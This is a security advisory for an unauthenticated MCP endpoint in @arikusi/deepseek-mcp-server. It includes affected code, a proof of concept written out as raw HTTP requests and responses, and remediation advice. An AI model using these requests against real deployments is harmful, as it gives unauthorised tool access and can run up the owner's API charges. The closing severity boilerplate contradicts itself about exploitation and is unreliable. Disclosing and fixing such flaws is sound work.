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GHSA-72f3-6w86-7rv3
Summary
The self-hosted HTTP transport of @arikusi/deepseek-mcp-server exposes POST /mcp without any authentication: createMcpExpressApp is called without an authProvider and no middleware guards the route, so any network-reachable client can issue an unauthenticated initialize request and obtain a valid MCP session identifier. In reproduced testing against commit 5e1302171e99, an unauthenticated client was able to initialize a session, enumerate tools, and invoke the local deepseek_sessions tool with no credentials. The same unauthenticated session also exposes deepseek_chat, whose handler uses the server-side DEEPSEEK_API_KEY when self-hosted deployments configure one.
This issue applies to self-hosted HTTP mode, not the separately documented hosted BYOK endpoint in README.md, which expects an Authorization: Bearer ... header. Upstream self-hosted container assets enable HTTP mode by default (Dockerfile) and publish port 3000 (docker-compose.yml).
Affected Code
src/transport-http.ts:17 — createMcpExpressApp called without authProvider; no challenge is issued to incoming requests
export function createHttpApp(serverFactory: () => McpServer) {
const app = createMcpExpressApp({ host: '0.0.0.0' });
src/transport-http.ts:31 — POST /mcp handler instantiates a full MCP session for any body that satisfies isInitializeRequest, with no preceding auth check
app.post('/mcp', async (req, res) => {
const sessionId = req.headers['mcp-session-id'] as string | undefined;
if (sessionId && transports[sessionId]) {
await transports[sessionId].handleRequest(req, res, req.body);
return;
}
if (!sessionId && isInitializeRequest(req.body)) {
const transport = new StreamableHTTPServerTransport({
sessionIdGenerator: () => randomUUID(),
onsessioninitialized: (id) => {
transports[id] = transport;
console.error(`[DeepSeek MCP] HTTP session initialized: ${id}`);
},
});
const server = serverFactory();
await server.connect(transport);
await transport.handleRequest(req, res, req.body);
HTTP client → POST /mcp (no auth middleware) → transport-http.ts:41 (isInitializeRequest branch) → transport-http.ts:57–59 (serverFactory()+connect+handleRequest)
Dockerfile:12-13 — upstream container image defaults to self-hosted HTTP mode
ENV TRANSPORT=http
ENV HTTP_PORT=3000
docker-compose.yml:4-8 — upstream compose file publishes port 3000 and enables HTTP mode
services:
deepseek-mcp:
ports:
- "3000:3000"
environment:
- TRANSPORT=http
Proof of Concept
Step 1 — send unauthenticated initialize: server returns HTTP 200 and a live mcp-session-id — proves no credentials are required to establish a session.
python3 poc.py
POST /mcp HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Accept: application/json, text/event-stream
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc-client","version":"1.0"}}}
HTTP/1.1 200 OK
content-type: text/event-stream
mcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba
event: message
data: {"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true}},"serverInfo":{"name":"deepseek-mcp-server","version":"1.7.0"}},"jsonrpc":"2.0","id":1}
Step 2 — send unauthenticated tools/list on the obtained session: server returns the full tool surface (deepseek_chat, deepseek_sessions) — proves tool discovery is reachable without credentials.
POST /mcp HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Accept: application/json, text/event-stream
mcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba
{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}
RESULT: PASS — tools/list returned deepseek_chat and deepseek_sessions with no credentials supplied.
Step 3 — send unauthenticated tools/call for the local deepseek_sessions tool on the obtained session: server executes the tool and returns its result with no credentials supplied.
POST /mcp HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Accept: application/json, text/event-stream
mcp-session-id: 6cf58ad1-40cc-4cd4-99a3-f5f198b8bf71
{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"deepseek_sessions","arguments":{"action":"list"}}}
HTTP/1.1 200 OK
content-type: text/event-stream
event: message
data: {"result":{"content":[{"type":"text","text":"No active sessions."}]},"jsonrpc":"2.0","id":2}
Impact
In self-hosted HTTP deployments, any host with network access to port 3000 can establish an authenticated-equivalent MCP session and invoke built-in MCP tools without supplying credentials. This was verified end-to-end for session establishment, tool enumeration, and execution of the local deepseek_sessions tool.
deepseek_chat is exposed through the same unauthenticated MCP session, and its handler routes requests through the server-side DeepSeek client. That means a deployment using a valid server-side DEEPSEEK_API_KEY places billable DeepSeek operations behind an unauthenticated endpoint. However, this report's reproduced PoC used a dummy API key and did not directly validate successful upstream DeepSeek billing or quota consumption.
Remediation
Require authentication in self-hosted HTTP mode before MCP session creation. At minimum, pass an authProvider to createMcpExpressApp at transport-http.ts:17 or place equivalent authentication middleware / a reverse proxy in front of /mcp so unauthenticated clients never reach the initialize branch:
const app = createMcpExpressApp({
host: '0.0.0.0',
authProvider,
});
For deployments that only need local access, bind to 127.0.0.1 instead of 0.0.0.0 in both createMcpExpressApp and app.listen (transport-http.ts:17 and :107) as a defence-in-depth measure. Upstream docker-compose.yml currently publishes 3000:3000; changing that to 127.0.0.1:3000:3000 would reduce inadvertent exposure on multi-user or server hosts.
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The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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